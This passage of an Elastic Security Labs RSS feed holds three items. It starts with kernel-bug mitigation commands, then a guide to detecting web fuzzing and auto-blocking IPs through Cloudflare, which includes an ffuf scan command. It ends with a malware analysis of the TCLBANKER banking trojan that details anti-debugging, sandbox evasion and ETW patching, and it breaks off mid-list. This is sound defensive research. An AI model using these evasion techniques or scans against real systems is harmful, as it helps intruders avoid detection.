<li><a href="https://github.com/elastic/detection-rules/blob/ebe2a089b8806989e77531adde70314958851648/rules/linux/defense_evasion_sysctl_kernel_feature_activity.toml#L79">Suspicious Kernel Feature Activity rule</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/ef78eb503dba59b19710cedffd3d1697185abbb4/rules/linux/privilege_escalation_unshare_namespace_manipulation.toml">Namespace Manipulation Using Unshare</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/ef78eb503dba59b19710cedffd3d1697185abbb4/rules/linux/privilege_escalation_potential_suid_sgid_exploitation.toml">Privilege Escalation via SUID/SGID</a></li>
</ul>
<h2>Mitigation</h2>
<p>Detection should be paired with hardening and patching. The primary remediation for both vulnerabilities is to update the Linux kernel once distribution patches are available.</p>
<p>Where immediate patching is not possible, targeted module blocking can reduce the attack surface. For Copy Fail, disabling the <code>algif_aead</code> module prevents the AF_ALG AEAD path used by the exploit:</p>
<pre><code>echo &quot;install algif_aead /bin/false&quot; &gt; /etc/modprobe.d/copyfail.conf
rmmod algif_aead 2&gt;/dev/null
</code></pre>
<p>For DirtyFrag, disabling the affected networking modules blocks both the ESP and RxRPC exploit paths:</p>
<pre><code>printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' &gt; /etc/modprobe.d/dirtyfrag.conf
rmmod esp4 esp6 rxrpc 2&gt;/dev/null
</code></pre>
<p>After applying either mitigation, dropping the page cache ensures any previously corrupted in-memory pages are discarded:</p>
<pre><code>echo 3 &gt; /proc/sys/vm/drop_caches
</code></pre>
<p>These mitigations should be tested in a staging environment before production deployment, as disabling kernel modules may impact IPsec VPNs, crypto applications, or other services depending on the affected subsystems. Dropping the page cache causes a brief I/O spike and should be avoided during peak load.</p>
<p>Restricting unprivileged user namespace creation also hardens against DirtyFrag and similar exploits:</p>
<pre><code>sysctl -w kernel.unprivileged_userns_clone=0
</code></pre>
<p>On RHEL/Fedora, use <code>user.max_user_namespaces=0</code> instead. This setting may affect applications that rely on unprivileged namespaces such as certain container runtimes and browser sandboxes. Evaluate compatibility before applying.</p>
<h2>References :</h2>
<ul>
<li><a href="https://copy.fail/">https://copy.fail/</a></li>
<li><a href="https://xint.io/blog/copy-fail-linux-distributions">https://xint.io/blog/copy-fail-linux-distributions</a></li>
<li><a href="https://github.com/V4bel/dirtyfrag/tree/master">https://github.com/V4bel/dirtyfrag/tree/master</a></li>
<li><a href="https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo/">https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo/</a></li>
<li><a href="https://access.redhat.com/security/vulnerabilities/RHSB-2026-003">https://access.redhat.com/security/vulnerabilities/RHSB-2026-003</a></li>
<li><a href="https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available">https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available</a></li>
<li><a href="https://aws.amazon.com/security/security-bulletins/rss/2026-027-aws/">https://aws.amazon.com/security/security-bulletins/rss/2026-027-aws/</a></li>
<li><a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d">https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d</a></li>
</ul>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/copy-fail-dirtyfrag-linux-page-bugs-in-the-wild/copy-fail-dirtyfrag-linux-page-bugs-in-the-wild.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Detecting Web Server Probing & Fuzzing in Traefik with Automated Cloudflare Response]]></title>
            <link>https://www.elastic.co/kr/security-labs/detecting-web-server-probing-and-fuzzing</link>
            <guid>detecting-web-server-probing-and-fuzzing</guid>
            <pubDate>Fri, 08 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[This article shows how a customized Elastic Security ES|QL detection rule can identify web server probing and fuzzing activity in Traefik logs and automatically block the attacking IP via Cloudflare.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Self-hosted services exposed through a reverse proxy inevitably attract automated scanners probing for misconfigurations, admin panels, and vulnerable endpoints. In this article, I show how to turn routine <a href="https://traefik.io/traefik">Traefik</a> access logs into an active defensive control using Elastic Security and Cloudflare.</p>
<p>I use an out-of-the-box <a href="https://www.elastic.co/kr/docs/explore-analyze/discover/try-esql">ES|QL</a> detection rule to identify <a href="https://elastic.github.io/detection-rules-explorer/rules/8383a8d0-008b-47a5-94e5-496629dc3590">web server discovery and fuzzing behavior</a>. When suspicious probing patterns are detected, an automated workflow immediately blocks the offending source IP at the edge via the Cloudflare API. The best part about this setup is that it scales effortlessly. By building this response plumbing once for fuzzing detection, I can attach the exact same block action to any other Elastic rule such as those catching SQL injections or file inclusion attempts. This transforms a basic logging pipeline into a highly adaptable perimeter defense.</p>
<h2>Background and the threat landscape</h2>
<p>My homelab setup utilizes Proxmox VE for containers and VMs. I use a Traefik reverse proxy, secured with <a href="https://www.authelia.com/">Authelia</a> for authentication, to allow external access without a VPN. Cloudflare, with proxy enabled, manages DNS.</p>
<p>For those less familiar with this specific stack, Traefik acts as the network's front door. When a web request arrives via Cloudflare, Traefik dynamically routes the traffic to the correct internal container while managing SSL certificates to keep the connections encrypted. However, before any traffic actually reaches those backend applications, it gets intercepted by Authelia. By leveraging Traefik's forward authentication feature, Authelia enforces Single Sign-On and Multi-Factor Authentication across the board. This means automated scanners and attackers cannot even reach the login screens of my internal services without passing through that initial secure portal.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/detecting-web-server-probing-and-fuzzing/image1.png" alt="Network diagram" title="Network diagram" /></p>
<p>To maintain visibility and security, I ingest these Traefik access logs into Elastic using the official integration. During routine monitoring, I've observed numerous HTTP 404 response codes originating from the same source IP addresses in these logs.</p>
<p>This pattern suggests potential web server probing or fuzzing traffic targeting vulnerabilities in applications that are not actually in use on my network. Examples of these targeted paths include <code>/wp-includes/mani.</code>, <code>/wp-content/plugins/all-in-one-wp-security-and-firewall/templates.php</code>, <code>/archive.php</code>, and <code>/wp-admin/includes/header.php</code>.</p>
<h3>Design philosophy: why not Fail2Ban?</h3>
<p>A common question in the homelab community is why not simply use local tools like <a href="https://github.com/fail2ban/fail2ban">Fail2Ban</a> or <a href="https://www.crowdsec.net/">CrowdSec</a> directly on the Traefik server. While those are excellent tools, orchestrating the response through Elastic Security and pushing the block to Cloudflare provides two major advantages. Dropping malicious traffic at the Cloudflare edge saves local bandwidth and keeps scanners off the home network entirely. Plus, orchestrating the response through Elastic gives us a single pane of glass for all security monitoring.</p>
<h2>Detection strategy and implementation strategy</h2>
<p>To effectively identify malicious reconnaissance, our strategy relies on analyzing the frequency of HTTP response codes at the proxy level. Specifically, we are looking for a high volume of 404 (Not Found) errors generated by a single source IP within a short time window, a classic indicator of directory fuzzing or vulnerability scanning.</p>
<p>While Elastic Security provides robust, out-of-the-box detection rules for this exact scenario, these rules require properly normalized ECS (Elastic Common Schema) data to function correctly. Detecting and mitigating these scans therefore requires a coordinated flow. To get this working, we need to ingest the Traefik logs, patch in the missing <code>host.name</code> field using a custom pipeline, and point the detection rule at our data.</p>
<h3>Threshold logic and tuning</h3>
<p>Our detection strategy shifts away from simple string matching, relying instead on statistical thresholds. The rule specifically monitors for denied or non-existent resources represented by HTTP 403 and 404 response codes and aggregates this activity by the originating source IP.</p>
<p>This behavior is governed by the final <code>where</code> statement in the query. By default, an alert only triggers if a source IP produces more than 500 errors across 250 distinct URI paths during the polling window. This dual-layered threshold is designed to eliminate false positives, ensuring that a single broken asset doesn't trigger a block while still identifying automated scripts that cycle through directory wordlists.</p>
<p>In a smaller homelab or smaller teams environment, these defaults are often too permissive. Since legitimate external traffic has no reason to hit non-existent admin panels on my network, I adjusted the sensitivity to catch stealthier reconnaissance efforts early. I modified the logic to trigger when <code>event_count &gt; 100</code> and <code>url_original_count_distinct &gt; 50</code>.</p>
<p>For production environments where applications naturally generate higher error volumes, you might consider increasing these values or appending an ES|QL <code>where not</code> clause to exclude known broken links. Finally, I use a <code>where source.ip not in (...)</code> filter to ensure that authorized security tools or personal vulnerability scanners are not accidentally banned by the automated workflow.</p>
<h3>Ingesting Traefik access logs</h3>
<p>To ingest the Traefik access logs into the cluster, I used the default <a href="https://www.elastic.co/kr/docs/reference/integrations/traefik">integration for Traefik</a>. The Elastic Agent collects logs from Traefik servers. This integration writes the ingested logs into the <code>logs-traefik.access-default</code> datastream.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/detecting-web-server-probing-and-fuzzing/image5.png" alt="" /></p>
<h3>Building a custom ingest pipeline</h3>
<p>The <code>host.name</code> field is crucial for the detection rule I'm using, but the default Traefik integration doesn't populate it. Therefore, a custom ingest pipeline is required to add this field. Since the Traefik integration utilizes a file stream on the Traefik server, I can copy the value from the existing <code>agent.name</code> field to populate <code>host.name</code>.</p>
<p>I specifically use the <code>logs-traefik.access@custom</code> pipeline instead of modifying the main one. Elastic integrations are designed to automatically pick up and run these <code>@custom</code> pipelines right at the end of their processing flow. More importantly, default pipelines get completely overwritten whenever I upgrade an integration. Stashing my logic in the custom pipeline ensures that my field mappings actually survive the next update. The necessary API call to create this pipeline can be executed in the Dev Tools console:</p>
<pre><code class="language-json">PUT _ingest/pipeline/logs-traefik.access@custom
{
  &quot;description&quot;: &quot;copy the agent.name field to the host.name field&quot;,
  &quot;processors&quot;: [
    {
      &quot;set&quot;: {
        &quot;field&quot;: &quot;host.name&quot;,
        &quot;value&quot;: &quot;{{{agent.name}}}&quot;,
        &quot;override&quot;: false,
        &quot;ignore_empty_value&quot;: true,
        &quot;ignore_failure&quot;: true
      }
    }
  ]
}
</code></pre>
<h2>Automated response via Cloudflare workflow</h2>
<p>To move from detection to active defense, we implement a workflow that bridges the gap between our Elastic alerts and the Cloudflare edge. The logic is designed to be efficient: rather than creating a new firewall rule for every single alert, which would quickly hit Cloudflare’s rule limits, the workflow first retrieves the existing blocklist. It then dynamically appends the new offending source IP to that list before pushing the update back to the Cloudflare API. Once the edge is secured, the workflow finishes by acknowledging the alert in Elastic, effectively closing the loop on the incident.</p>
<h3>Prerequisites and token scope</h3>
<p>This process requires both an API key and the Zone ID for the Cloudflare configuration. The API token must possess &quot;Zone WAF edit&quot; privileges to enable the creation of the rule. When generating this token in the Cloudflare dashboard, use the &quot;Create Custom Token&quot; option and set the permissions strictly to <code>Zone -&gt; Zone WAF -&gt; Edit</code><strong>.</strong></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/detecting-web-server-probing-and-fuzzing/image3.png" alt="" /></p>
<p>Once the workflow is configured, it must be assigned as an action to the &quot;Web Server Discovery or Fuzzing Activity&quot; detection rule.</p>
<p>With the prerequisites in place, let's walk through how we build the workflow step-by-step.</p>
<h3>Workflow configuration and triggers</h3>
<p>First, we define the basic metadata. This workflow blocks the IP addresses found in the alerts of the Web Server Discovery or Fuzzing Activity. The workflow is enabled and has a timeout of 30 seconds for the API request. In this case, it's based on an alert, so it runs automatically when a security alert is triggered.</p>
<pre><code># =========================================================================
# Workflow: Block IP at Cloudflare test
# Category: security/response
# =========================================================================
version: '1'
name: Block IP at Cloudflare
enabled: true

triggers:
  - type: alert
</code></pre>
<h3>Constants and authentication</h3>
<p>This section holds the variables for authentication. Remember to substitute the placeholder strings with your actual API token and Zone ID.</p>
<pre><code>consts:
  cloudflare_api: &quot;&lt;cloudflare API&gt;&quot;
  cloudflare_zone: &quot;&lt;cloudflare ZONE&gt;&quot;
</code></pre>
<h3>Step 1: Retrieving the current blocklist</h3>
<p>The sequence checks if the firewall rule already exists. The workflow makes an HTTP GET request to retrieve the existing IP block rule.</p>
<pre><code>steps:
  - name: cloudflare_current_block
    type: http
    with:
      url: &quot;https://api.cloudflare.com/client/v4/zones/{{consts.cloudflare_zone}}/rulesets/phases/http_request_firewall_custom/entrypoint&quot;
      headers:
        Authorization: Bearer {{consts.cloudflare_api}}
      method: GET
    on-failure:
      continue: true
</code></pre>
<h3>Step 2: Updating or creating the firewall rule</h3>
<p>If it exists, the rule gets appended with the IP address otherwise, the rule gets created. The workflow identifies if the &quot;webserver scanning block&quot; description is present. If so, it appends the new IP address to the current list of blocked IP addresses via a PUT request. If not, it falls back to creating a new rule.</p>
<pre><code> - name: cloudflare_block
    type: if
    condition: 'steps.cloudflare_current_block.output.data.result.rules[0].description == &quot;webserver scanning block&quot;'
    steps:
      - name: ip-block-cloudflare_add
        type: http
        with:
          url: &quot;https://api.cloudflare.com/client/v4/zones/{{consts.cloudflare_zone}}/rulesets/phases/http_request_firewall_custom/entrypoint&quot;
          method: PUT
          headers:
            Authorization: Bearer {{consts.cloudflare_api}}
          timeout: 30s
          body: '{ &quot;rules&quot;: [ { &quot;description&quot;: &quot;webserver scanning block&quot;, &quot;expression&quot;: &quot;{{steps.cloudflare_current_block.output.data.result.rules[0].expression}} or (ip.src eq {{event.alerts[0].source.ip}})&quot;, &quot;action&quot;: &quot;block&quot; } ]}'
    else:
      - name: ip-block-cloudflare_new
        type: http
        with:
          url: &quot;https://api.cloudflare.com/client/v4/zones/{{consts.cloudflare_zone}}/rulesets/phases/http_request_firewall_custom/entrypoint&quot;
          method: PUT
          headers:
            Authorization: Bearer {{consts.cloudflare_api}}
          timeout: 30s
          body: '{ &quot;rules&quot;:[ { &quot;description&quot;: &quot;webserver scanning block&quot;, &quot;expression&quot;: &quot;(ip.src eq {{event.alerts[0].source.ip}})&quot;, &quot;action&quot;: &quot;block&quot; } ]}'
    on-failure:
      continue: true
</code></pre>
<h3>Step 3: Acknowledging the alert</h3>
<p>Then the alert gets acknowledged. This step uses the <code>kibana.SetAlertsStatus</code> action to automatically close out the alert in Elastic Security.</p>
<pre><code>  - name: update_alert_status
    type: kibana.SetAlertsStatus
    with:
      status: &quot;acknowledged&quot;
      signal_ids: [&quot;{{event.alerts[0]._id}}&quot;]
</code></pre>
<h3>Step 4: Attaching the Workflow to the Rule</h3>
<p>With the workflow fully built, the final step is to actually attach it to the detection rule so it fires automatically. In the Elastic Security rule settings for the &quot;Web Server Discovery or Fuzzing Activity&quot; rule, I navigate to the <strong>Rule actions</strong> tab and add a new action. From the connector dropdown, I simply select the Cloudflare workflow I just created.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/detecting-web-server-probing-and-fuzzing/image2.png" alt="" /></p>
<h3>Note on WAF limits</h3>
<p>Because this workflow concatenates IP addresses using an <code>or</code> statement (<code>or (ip.src eq &lt;IP&gt;)</code>), be mindful that Cloudflare has a character limit for custom WAF expressions (typically 4096 characters on standard tiers). In highly targeted environments, this string can eventually hit the limit. For homelabs and small teams, occasionally clearing out this WAF rule manually serves as a healthy reset.</p>
<h2>Testing and Validation</h2>
<p>To verify the pipeline is working end-to-end, we can generate some noise with a standard fuzzing tool. You can simulate a scanning attack against your own homelab using a fuzzing tool like <code>ffuf</code> or <code>gobuster</code>.</p>
<p>Run a quick scan against a non-existent directory on your public-facing Traefik domain:</p>
<pre><code class="language-shell">ffuf -u https://your-domain.com/FUZZ -w /path/to/wordlist.txt
</code></pre>
<p>Once the simulation is running, we can observe the automated defense chain in action. The 404 errors appear almost immediately in the <code>logs-traefik.access-default</code> datastream. Within the polling interval, the ES|QL rule identifies the pattern and generates a new alert in the Elastic Security Alerts page. From there, the workflow takes over: it shifts the alert status to &quot;acknowledged&quot; and pushes the IP block to our Cloudflare WAF rule, effectively neutralizing the scanner at the edge before it can continue its reconnaissance.</p>
<p>You can confirm the block was successful by checking your Cloudflare Dashboard under <code>Security -&gt; WAF -&gt; Custom rules</code>. <em>(Note: Be sure to remove your IP from the Cloudflare rule afterwards so you don't lock yourself out!)</em></p>
<h3>Expanding the defense</h3>
<p>The beauty of this setup is that our Cloudflare workflow isn't limited to just fuzzing detection. Once the automation is built, we can attach it to any Elastic rule that flags suspicious proxy traffic. For instance, we can tie this exact same response action to out-of-the-box rules targeting specific application exploits, like <a href="https://elastic.github.io/detection-rules-explorer/rules/90e4ceab-79a5-4f8e-879b-513cac7fcad9">Web Server Local File Inclusion Activity</a>, <a href="https://elastic.github.io/detection-rules-explorer/rules/45d099b4-a12e-4913-951c-0129f73efb41">Web Server Potential Remote File Inclusion Activity</a> to drop the attacker immediately. It also pairs perfectly with <a href="https://elastic.github.io/detection-rules-explorer/rules/6631a759-4559-4c33-a392-13f146c8bcc4">Potential Spike in Web Server Error Logs</a> and <a href="https://elastic.github.io/detection-rules-explorer/rules/a1b7ffa4-bf80-4bf1-86ad-c3f4dc718b35">Unusual Web User Agent</a> to catch misconfigured scrapers and broader network noise. We build the plumbing once, and suddenly the whole perimeter gets smarter.</p>
<h3>Conclusion</h3>
<p>Wiring Traefik and Cloudflare into Elastic Security is a great way to turn basic access logs into an active defense. Homelab environments are constantly bombarded by automated scanners looking for low-hanging fruit. This automated workflow not only blocks attackers at the edge but also reduces alert fatigue by acknowledging the incidents automatically. It is a practical example of how security orchestration and response can save time while significantly improving your security posture.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/detecting-web-server-probing-and-fuzzing/detecting-web-server-probing-and-fuzzing.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[TCLBANKER: Brazilian Banking Trojan Spreading via WhatsApp and Outlook]]></title>
            <link>https://www.elastic.co/kr/security-labs/tclbanker-brazilian-banking-trojan</link>
            <guid>tclbanker-brazilian-banking-trojan</guid>
            <pubDate>Thu, 07 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[REF3076 uses a trojanized Logitech installer to deploy TCLBANKER, a Brazilian banking trojan with environment-gated payloads, WPF fraud overlays, and self-propagating WhatsApp and Outlook worm modules.]]></description>
            <content:encoded><![CDATA[<p>Elastic Security Labs identified a new Brazilian banking trojan that we are tracking as TCLBANKER, a malware family we assess is a major update of the <a href="https://securelist.com/maverick-banker-distributing-via-whatsapp/117715/">MAVERICK</a>/<a href="https://www.trendmicro.com/en_us/research/25/j/self-propagating-malware-spreads-via-whatsapp.html">SORVEPOTEL</a> family. The campaign, tracked as REF3076, features a loader with robust anti-analysis capabilities that deploys two embedded .NET Reactor-protected modules: a full-featured banking trojan and a worm module for self-propagation.</p>
<p>The banking trojan monitors the victim's browser address bar via UI Automation, targeting 59 Brazilian banking, fintech, and cryptocurrency domains. Beyond the usual remote access commands, its most notable capability is a WPF-based full-screen overlay framework designed for operator-driven social engineering.</p>
<p>A second module handles distribution through spam agents, of which we recovered two variants: a WhatsApp worm that hijacks authenticated browser sessions to message the victim's contacts, and an Outlook email bot that sends phishing emails through the victim's own accounts via COM automation.</p>
<p>Through this report, we provide a detailed technical breakdown of each stage.</p>
<h2>Key takeaways</h2>
<ul>
<li>TCLBANKER uses environment-gated payload decryption; incorrect environments, such as sandboxes, silently fail to decrypt the payload</li>
<li>A comprehensive watchdog subsystem continuously monitors for analysis tools, debuggers, instrumentation frameworks, and integrity violations throughout execution</li>
<li>The banking trojan targets 59 Brazilian banking, fintech, and cryptocurrency domains, activating a WebSocket C2 session when a victim navigates to a monitored site</li>
<li>A WPF-based full-screen overlay framework enables operator-driven social engineering, including credential harvesting, vishing wait screens, and fake Windows Update stalls, while hiding overlays from screen capture tools</li>
<li>Worm modules propagate the malware: a WhatsApp bot and an Outlook email bot</li>
<li>All C2 and distribution infrastructure is hosted on Cloudflare Workers under a single account, with developer artifacts (debug logging paths, test process names) and an incomplete phishing page, suggesting the campaign was identified in an early operational stage</li>
</ul>
<h2>Delivery</h2>
<p>TCLBANKER is a Brazilian banking trojan that contains a dynamic infection chain with a heavy anti-analysis loading component that can deploy two embedded payloads (worm, banker). The observed infection chain bundles a malicious MSI installer inside a ZIP file. These MSI installer packages are abusing a signed Logitech program called <a href="https://www.logitech.com/en-us/software/logi-ai-prompt-builder">Logi AI Prompt Builder</a>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image13.png" alt="MSI install dialog" title="MSI install dialog" /></p>
<p>TCLBANKER abuses DLL sideloading against <code>LogiAiPromptBuilder.exe</code>, a legitimate Logitech application built on the <a href="https://flutter.dev/">Flutter</a> framework. The malicious DLL <code>screen_retriever_plugin.dll</code> masquerades as a legitimate Flutter plugin of the same name and is loaded automatically when the host application starts.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image32.png" alt="File directory contents showing a malicious DLL" title="File directory contents showing a malicious DLL" /></p>
<p>After the MSI installation, the malicious DLL is immediately loaded and starts at the DllMain entry point.</p>
<h2>Loader</h2>
<p>The loader component for TCLBANKER is packed with features, including anti-debugging features, anti-analysis checks, string encryption, system language checks, ETW patching, and a watchdog capability. While it has many features, it lacks depth and has references to older malware analysis tooling. It’s not entirely clear whether the developer used LLM-assisted workflows, but our team wouldn’t be surprised if that were the case.</p>
<p>At the beginning of the execution, TCLBANKER aligns the corresponding .NET assembly payloads based on whether the string (<code>--renderer=sw</code>) is used in the command-line. Within its main loader function, it first performs allow-list/blocklist operations based on how the DLL was loaded. The malicious DLL will only execute if the host process comes from the following two processes:</p>
<ul>
<li><code>logiaipromptbuilder.exe</code></li>
<li><code>tclloader.exe</code> (Possible reference to developer string during testing)</li>
</ul>
<p>If the DLL was loaded by the following processes, it will refuse to run. These processes are traditionally used by analysts to load and debug DLLs.</p>
<ul>
<li><code>rundll32.exe</code></li>
<li><code>regsvr32.exe</code></li>
<li><code>dllhost.exe</code></li>
<li><code>svchost.exe</code></li>
</ul>
<p>Next, TCLBBANKER removes any user-mode hooking by replacing <code>ntdll.dll</code> from disk. For more evasion, the malware generates the following syscall trampolines used later:</p>
<ul>
<li><code>NtQueryInformationProcess</code></li>
<li><code>NtSetInformationThread</code></li>
<li><code>NtSetInformationProcess</code></li>
<li><code>NtTerminateProcess</code></li>
<li><code>NtAllocateVirtualMemory</code></li>
<li><code>NtProtectVirtualMemory</code></li>
</ul>
<p>After installing syscall stubs, the malware patches <code>EtwEventWrite</code> in <code>ntdll.dll</code> with the classic <code>xor eax, eax; ret</code> to disable user-mode ETW telemetry.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image33.png" alt="Patching via EtwEventWrite" title="Patching via EtwEventWrite" /></p>
<p>TCLBANKER performs an initial sandbox check by capturing a start tick using <code>GetTickCount64()</code>, sleeping for 500 ms, and measuring the elapsed time. If fewer than 450 ms have actually passed, the malware bails — this detects sandboxes or emulation frameworks that hook Sleep to return immediately..</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image9.png" alt="Sandbox check" title="Sandbox check" /></p>
<p>One of the more interesting features of TCLBANKER is an enumeration function that generates three  fingerprints based on the following criteria:</p>
<ul>
<li>Anti-debugging checks</li>
<li>System disk information and memory checks</li>
<li>Language checks</li>
</ul>
<p>The developer uses magic constants assigned to “clean” paths for each category, then performs an XOR against each one to generate the environment hash. This environment hash value is significant because it affects downstream decryption of the embedded payload.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image4.png" alt="Environmental hashing function" title="Environmental hashing function" /></p>
<p>For example, if a debugger is present, it will produce an incorrect hash, so when the malware attempts to derive the decryption keys from the hash, the payload will not decrypt correctly, and TCLBANKER will stop executing.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image19.png" alt="Decryption derivation function using gated hash value" title="Decryption derivation function using gated hash value" /></p>
<h2>Anti-debugging checks</h2>
<p>TCLBANKER implements six different anti-debugging checks:</p>
<ul>
<li>Identify the debugger through the <code>Peb-&gt;BeingDebugged</code> flag</li>
<li>Checks heap-tail/heap-free/check-heap flags set when a process is launched under a debugger</li>
<li>Leverages <code>NtQueryInformationProcess()</code> using <code>ProcessDebugPort</code></li>
<li>Uses <code>NtQueryInformationProcess()</code> using <code>ProcessDebugObjectHandle</code></li>
<li>Hardware breakpoint detection via the debug registers (<code>DR0-DR3</code>)</li>
<li>Measures the elapsed time using <code>QueryPerformanceCounter()</code> deltas and <code>RDTSC</code> cycle counts</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image30.png" alt="Anti-debugging checks with calculation" title="Anti-debugging checks with calculation" /></p>
<h2>System information checks</h2>
<p>TCLBANKER has the following five different checks based on virtualization, system, and user information:</p>
<ul>
<li>Checks for virtualization software using vendor signature</li>
</ul>
<table>
<thead>
<tr>
<th align="center">Hypervisor</th>
<th align="center">Vendor signature</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center">VMware</td>
<td align="center">VMwareVMware</td>
</tr>
<tr>
<td align="center">VirtualBox</td>
<td align="center">VBoxVBoxVBox</td>
</tr>
<tr>
<td align="center">KVM</td>
<td align="center">KVMKVMKVM</td>
</tr>
<tr>
<td align="center">Xen</td>
<td align="center">XenVMMXenVMM</td>
</tr>
<tr>
<td align="center">Parallels</td>
<td align="center">prl hyperv</td>
</tr>
<tr>
<td align="center">QEMU/TCG</td>
<td align="center">TCGTCGTCGTCG</td>
</tr>
</tbody>
</table>
<ul>
<li>Verify the root system drive (<code>C:\\</code>) via <code>GetDiskFreeSpaceExW()</code> has at least 64 GB</li>
<li>Calls <code>GlobalMemoryStatusEx()</code> to verify the system has more than 2 GB of RAM</li>
<li>Checks for 2 or CPU processors via <code>GetSystemInfo()</code></li>
<li>Checks for generic sandbox/malware usernames
<ul>
<li><code>sandbox</code>, <code>malware</code>, <code>virus</code>, <code>sample</code>, <code>john doe</code>, <code>currentuser</code></li>
</ul>
</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image28.png" alt="System enumeration checks" title="System enumeration checks" /></p>
<h2>Language checks</h2>
<p>For the last environment fingerprint check, TCLBANKER retrieves geographical information of the infected machine using <code>GetUserGeoID()</code>, targeting Brazilian users based on the geographical ID (<code>0x20</code>). A second locale check via <code>GetUserDefaultLCID()</code> also ensures the user's default language is Brazilian Portuguese (pt-BR, LANGID 0x0416).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image11.png" alt="Language check targeting Brazilian users" title="Language check targeting Brazilian users" /></p>
<p>After these sets of checks, TCLBANKER will either bail out of execution if anything is detected or, if not, produce another anti-debugging check by patching <code>DbgUiRemoteBreakin()</code>. The malware patches its first byte to <code>a ret</code> instruction so that any attempt to remotely break into the process does nothing — the injected thread immediately returns, and the target keeps running, unsuspended.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image18.png" alt="Patching DbgUiRemoteBreakin" title="Patching `DbgUiRemoteBreakin`" /></p>
<p>After this, the malware derives an AES-256 CBC key and IV by using hard-coded constants from the <code>.rdata</code> section along with the environmental hash calculated earlier. TCLBanker uses <code>BCryptDecrypt()</code> to decrypt the embedded payload, then decompresses via <code>RtlDecompressBuffer</code> using the LZNT1 compression algorithm.</p>
<p>Once the respective payload is decrypted, TCLBANKER initializes COM via <code>CoInitializeEx()</code> and uses the CLR hosting APIs to load the .NET runtime in-process. Before launching the payload entry point, TCLBanker creates two new threads: one serves as the watchdog, and the other monitors the watchdog thread as a heartbeat check.</p>
<h2>Watchdog</h2>
<p>TCLBANKER has a comprehensive watchdog feature that targets various analysis tools, including disassemblers, debuggers, instrumentation products, anti-virus products, and sandbox products. This section will outline the various techniques used by this feature:</p>
<ul>
<li>Debugger check via <code>PEB→BeingDebugged</code></li>
<li>Watches for hardware breakpoints <code>DR0</code>/<code>DR1</code>/<code>DR2</code>/<code>DR3</code></li>
<li>Checks Windows functions (<code>BCryptDecrypt()</code>, <code>BCryptOpenAlgorithmProvider()</code>) for in-line hooks by scanning the first 12 bytes of each function</li>
<li>Monitors for instrumentation tools and related strings (<code>frida</code>, <code>cydia</code>, <code>user-path injection</code>, <code>hook framework</code>)</li>
<li>Reviews all kernel named pipes searching for <code>frida</code> or <code>linjector</code></li>
<li>Performs process enumeration via <code>CreateToolhelp32Snapshot()</code> targeting the following process names:
<ul>
<li><code>frida</code>, <code>de4dot</code>, <code>dnspy</code>, <code>megadumper</code>, <code>extremedumper</code>, <code>processhacker</code>, <code>x64dbg</code>, <code>x32dbg</code>, <code>pe-sieve</code>, <code>scylla</code>, <code>Ilspy</code>, <code>dotpeek</code>, <code>netreactorslayer</code>, <code>cheatengine</code></li>
</ul>
</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image1.png" alt="Targeted process names decrypted by TCLBANKER" title="Targeted process names decrypted by TCLBANKER" /></p>
<ul>
<li>Employs Windows title detection via <code>GetWindowTextW()</code> with these titles:
<ul>
<li><code>x64dbg</code>, <code>x32dbg</code>, <code>ida -</code>, <code>ida pro</code>, <code>ghidra</code>, <code>dnspy</code>, <code>megadumper</code>, <code>extremedumper</code>, <code>processhacker</code>, <code>ollydbg</code>, <code>windbg)_</code>, <code>pe_sieve</code>, <code>scylla</code></li>
</ul>
</li>
<li>Identifies analyst tooling based on the following window class names via <code>FindWindowW()</code>:
<ul>
<li><code>IDATopLevelWindow</code>, <code>idaabortwndclass</code>, <code>TIdaWindow</code>, <code>x64dbg</code>, <code>x32dbg</code>, <code>OLLYDBG</code>, <code>WinDbgFrameClass</code>, <code>ProcessHacker</code>, <code>SystemInformer</code>, <code>CheatEngine</code>, <code>HxdClass</code></li>
</ul>
</li>
<li>Checks for the following loaded modules
<ul>
